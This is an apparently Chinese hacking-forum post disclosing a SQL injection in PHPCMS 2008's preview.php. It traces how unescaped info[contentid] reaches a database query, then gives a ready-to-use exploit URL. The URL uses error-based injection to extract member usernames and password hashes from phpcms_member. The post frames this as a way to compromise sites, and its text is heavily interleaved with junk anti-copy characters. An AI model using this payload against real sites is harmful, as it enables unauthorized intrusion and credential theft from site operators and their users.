中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......, z5 v+ Q/ n: E2 A+ U8 l; Q5 q0 B' T
. Q/ n* E, Y, h7 x; b- v/ W
   要转摘的兄弟们,你们还是带个版权吧!   
* v. {$ H. @+ q; e2 L6 G2 j4 ?/ d  W+ M3 H2 M) f: a
  组织 : http://www.safekeyer.com/   (欢迎访问)$ r" h) y6 @) K

7 L7 C) }/ S1 W& @4 y- Lauthor: 西毒    blog: http://hi.baidu.com/sethc5  Z% V$ w, V7 v) y3 ^5 |

* Y8 f. R& T" ^+ Y/ Y     3 x6 K; ~( G5 W" X' i4 j) L

, S3 }- y1 L8 G2 H  J其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.$ I3 R) x" c+ M8 F1 B0 v- K

. L* }3 _3 x( Z  h5 j2 U( F) A, v过程不明显的我就省略了。
6 ^1 U! H; E. f' a5 V$ Z% }& L4 A/ S! G
在preview.php 中第7行0 A0 n  S8 |$ t8 [- k
! b9 x- l* R  S  k
$r = new_stripslashes($info);
# `7 `& G+ C  Q& I9 m8 N9 k7 X3 s- C% _5 d2 \' n. @5 h0 i
我们跟踪new_stripslashes这个函数9 J6 {( R9 o$ {/ I& I0 \  b
+ e' |) s8 L& C1 |$ p
在global.func.php中可以找到, m( B. J7 a: u0 E1 L+ A! y7 Q
5 f+ B8 k8 C# x4 u9 `
17 o- R4 R6 y: j, E
2
& D+ q5 B) C& R6 o! Q36 t# g4 a* \4 V& e, e& j
41 W4 b5 B) ~: u2 s6 v8 w
5; Q2 n& `/ ?2 |) W
6 function new_stripslashes($string)
' S0 L% H* _. v5 P0 t{; W$ y: H4 P8 A9 r9 i) u6 O
    if(!is_array($string)) return stripslashes($string);
" ?& B0 {& T1 l# c# \3 B! P    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);$ [. u2 m" D: P* ^: ^* _2 Q) J4 E- a
    return $string;
# @3 I# `; A$ g0 x# a+ ?0 q3 T( o}
7 J6 ~3 C' C% M8 P. s9 K& P! E. n2 J1 a* G& Y! X
这个函数的功能不用解释了吧
( O3 H: W' z' s1 W% x/ N9 a' |5 O( A+ y) {' K
所以我们看具体应用点再哪?
  ~& y) N, m9 c- j! F3 x
2 L% Q( c6 ^8 A$ U9 t* g1: j( V& g! P- a- c
2
0 i( N$ y# d4 @3
6 f. p0 H5 S) ~) K2 ]: B. w2 v41 w5 I3 e, m2 f, O1 F" T( j" e
5
+ O; X* [. Y1 S5 _) m7 Q5 g6
6 H3 _& I" p: g, v+ a7
. V2 x! a; p0 E  F8. p2 y* S; |% H* i* ?' l
9
0 @/ K. M, N3 @' s' ^2 y10
: y3 d$ T$ o2 G' W: V* R. N119 }$ Y1 `  _6 L5 g' w& b
12
; ]" {$ {& e6 g  c13# m# A! O& p9 Z. d, ^: ?
14
! ?! I8 b# G) }1 @15
! z  S/ [; K0 V161 B9 w3 A0 q' ?4 P6 L6 X
17
& G6 d$ K+ K! f! h7 @0 {6 P, R% Q18+ i) N) q# ^( K' s
19
( U+ w: o6 D" E: A% N5 L20
& N3 ?; k( n( X, o# k% _21* Y% W% F. |" k: ~  K
22/ M# _9 P: C6 X+ o  O, ]7 U) C
23# H& u2 L% u  |  `8 \' e% [
24
# S2 Y* B8 w. w+ l* p/ u! s6 ?; t25
& _7 W) k$ `/ R. D/ T% R! o268 R2 q% g( Y1 M! M/ w
27- c* n, G( z, Q
28- o+ U& D; `' e0 W& z' O
29
1 Y% g; U, C7 A  q2 \9 i  J- i: B30: m( [' ]% f7 S  Y9 @3 {% O/ f
31/ O$ k2 l6 U. ^+ u# b
32
3 E' n+ N6 }. ~+ Y7 Z33# V1 g/ e& o6 |. T4 {; ^% ^3 q
34
& M$ [9 Z6 v$ K3 h+ f) m$ @35 require dirname(__FILE__).'/include/common.inc.php';- z1 q3 O6 _) _% h/ f8 a
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
8 b( |7 l6 M" ~3 Lrequire_once CACHE_MODEL_PATH.'content_output.class.php';" a& R% d2 E9 Y3 W) B+ J
require_once 'output.class.php';# l# K" ^$ Q  C5 U
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
8 W! E' b" R$ W* O& [2 m4 M$r = new_stripslashes($info);   //反转义了.....关键
5 A" \" p6 F4 ~( s4 Z9 a$C = cache_read('category_'.$r['catid'].'.php');9 A" U8 p  ]6 y) f8 _8 |+ \( O
$out = new content_output();5 r' F2 H3 ?- \$ C; j7 h5 X
$r['userid'] = $_userid;
& W8 g9 x( E7 C2 J$r['inputtime'] = TIME;
; Y/ `! o* D4 k( L" {5 q) V$data = $out->get($r);
( _6 B) k8 t+ r6 W0 j" Pextract($data);
7 W3 ]# g+ O& G7 _; P1 u' z$userid = $_username;
7 M6 F. f; K3 \, M; m7 H  V# d4 M# g+ nfor($i=1;$i<10;$i++)
1 F: J8 b! [3 B# q{
: @/ x8 [. L0 y5 R3 r" d% p1 I! g    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");' k3 l  n' ?( s& S+ i2 F
}7 R& b+ {6 @& X" G& \
        
0 F6 D, L3 |3 C7 C6 n# R! a$array_images = $str_attachmentArray;" V9 o3 s* I9 q/ B  N
$images_number = 10;/ }3 p, \" Z+ t$ s2 G
$allow_priv = $allow_readpoint = 1;6 w+ w6 ?% ^# L% [: G$ j
$updatetime = date('Y-m-d H:i:s',TIME);/ n: X9 [6 l" N2 J
        
# X( G* k; X0 M8 _" {$page = max(intval($page), 1);$ |4 Y2 \4 |7 K2 k5 Q2 ~
$pages = $titles = '';. S* e! Q$ }& t' A9 I6 X
if(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈" o% j8 M# q8 I, }/ R
{) L. y: b! g9 G: \5 a
    require_once 'url.class.php';+ \! X3 D' U1 A5 U5 q0 e( ^4 L  s
    $curl = new url();& Z; j$ B" o/ y; c. ~: J- M9 a5 i/ ]
    $contents = array_filter(explode('', $content));
, G6 R; z6 s- T  K. @) @2 G    $pagenumber = count($contents);
6 h+ z( @2 y4 t9 G/ \# W    for($i=1; $i<=$pagenumber; $i++)! |1 g) c8 k& o" l4 x
    {1 j* }( h. V; ~& E4 k
        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
+ k& w0 F5 e, w    }
# O/ \9 z; f$ [& J: `: e其中细节我就不说了...& P6 j; \" y# }/ ^

0 y5 Z: C0 s; p我们看看这个$curl资源句柄中的show方法0 v0 E$ j' k7 ?& N
8 a( f0 U7 v1 l0 b" L
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
- G/ i1 L. w5 t3 q" U' g0 W2 b2 q0 ^. w$ P+ M2 S
1
  N; D9 L  I+ }* A5 n* q: }' I% r25 z$ |0 s+ O. t2 r; M1 v3 g
3; r# V7 j5 T+ \8 ?
4$ s( f5 A. ^* ^/ f+ m$ K( i7 O/ C. {" A
5, T/ {( @4 ~0 c! g8 p' X
6/ e8 @# z1 ^2 [; @7 G
7' |  c2 _% _8 M% U1 ]
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = ''). a! y2 k! l& z& y
    {
) R: _, _$ K/ h! T4 V        global $PHPCMS;
6 B: Q6 E+ Q3 r; F& y  l        if($catid == 0 || $time == 0 || $prefix == '')
7 M0 |8 W* l5 Z        {
. n+ `9 Q. m% p2 V3 N6 G  l6 j+ v            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
' l, C8 Y4 C7 I' a4 m' i9 j            if($r['isupgrade'] && !empty($r['url']))& R" f7 i" Z1 y
            {
+ c6 f% W3 ~; o' `- C3 O$ h9 T  P4 {8 O8 _$ {- M+ t& |& R
所以结合前面的......我们x站了吧
( E0 O0 r& f# o- o0 i7 f, ^5 b. m* A" n5 p% D; u: N% {# T
给出exp' y; \5 k5 F" w0 x- Z: f& [

+ a2 L# m5 \3 I1 ~: B% T/ U: ewww.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​' p3 O9 V, J# S1 G; s3 p) l

3 c1 }" t2 w1 T截图看一下0 \$ R5 V0 s& ]( j& X( y! N+ j* N

1 |$ ]1 z% c' v1 z最后真心说句,360收购漏洞计划,价格真心低.....
, I, h4 v4 t; T- K$ N/ Q/ T: `5 thttp://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2